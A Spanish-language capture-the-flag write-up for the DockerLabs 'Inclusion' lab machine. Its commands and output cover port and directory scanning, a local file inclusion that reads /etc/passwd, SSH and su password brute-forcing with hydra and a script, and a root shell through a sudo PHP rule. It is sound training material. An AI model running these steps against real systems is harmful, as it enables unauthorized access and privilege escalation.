Post

DockerLabs - Inclusion

DockerLabs - Inclusion

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Inclusion]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts 
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Inclusion]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
|_  256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works

análisis

Comenzamos revisando los recursos disponibles en el servidor empleando gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Inclusion]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/shop                 (Status: 301) [Size: 307] [--> http://172.17.0.2/shop/]
/index.html           (Status: 200) [Size: 10701]
/server-status        (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

En el pie de página del recurso /shop encontramos una filtración de una funcionalidad que la página podría estar ofreciendo:

Desktop View

acceso inicial (manchi)

Parece tratarse de una funcionalidad que permite listar ficheros del sistema (LFI o Local File Inclusion), por lo que probamos con el fichero /etc/passwd, el cual comprobamos que podemos ver su contenido:

Desktop View

Teniendo los usuarios, dejamos en segundo plano el proceso de obtención de credenciales de SSH por fuerza bruta con hydra, que pasado un tiempo vemos que nos obtiene unas credenciales correctas:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Inclusion]
└─$ hydra -L users.txt -P /usr/share/seclists/Passwords/rockyou.txt ssh://172.17.0.2 -I
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28688798 login tries (l:2/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: manchi   password: l*****

Procedemos a conectarnos como el usuario manchi por SSH:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Inclusion]
└─$ ssh manchi@172.17.0.2                                                
manchi@172.17.0.2`s password: 
manchi@de6fea183ddb:~$ whoami
manchi
manchi@de6fea183ddb:~$ hostname -I
172.17.0.2

movimiento lateral (seller)

Tras revisar diferentes formas de escalar privilegios, llegamos a la conclusión de que no hay nada de lo que podamos aprovecharnos, por lo que tratamos de obtener la contraseña de otro usuario empleando nuevamente fuerza bruta.

Enviamos el diccionario rockyou.txt a la máquina víctima:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Inclusion]
└─$ scp /usr/share/seclists/Passwords/rockyou.txt manchi@172.17.0.2:/tmp
rockyou.txt

Con el siguiente script de GitHub tramos de obtener la contraseña del usuario seller, la cual, tras un rato, la obtenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
manchi@de6fea183ddb:/tmp$ ./exploit.sh seller rockyou.txt 

******************************
*     BruteForce SU         *
******************************

Probando contraseña: 123456
Probando contraseña: 12345
Probando contraseña: 123456789
Probando contraseña: password
Probando contraseña: iloveyou
Probando contraseña: princess
Probando contraseña: 1234567
...
Contraseña encontrada para el usuario seller: q*****

Nos conectamos como el usuario seller:

1
2
3
4
manchi@de6fea183ddb:/tmp$ su seller
Password: 
seller@de6fea183ddb:/tmp$ whoami
seller

escalada de privilegios (root)

Revisando los permisos SUDO del usuario seller, encontramos que puede ejecutar PHP como el usuario root:

1
2
3
4
5
6
seller@de6fea183ddb:/tmp$ sudo -l
Matching Defaults entries for seller on de6fea183ddb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User seller may run the following commands on de6fea183ddb:
    (ALL) NOPASSWD: /usr/bin/php

En GTFOBins nos indican que cuando un usuario puede ejecutar PHP con los permisos de otro usuario, puede llegar a invocar una consola como dicho usuario ejecutando el siguiente comando:

Desktop View

Por lo tanto, ejecutamos el comando, y vemos que ya habremos conseguido una consola como el usuario root:

1
2
3
seller@de6fea183ddb:/tmp$ sudo php -r "system('/bin/bash');"
root@de6fea183ddb:/tmp# whoami
root

Y así, habremos completado la máquina!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.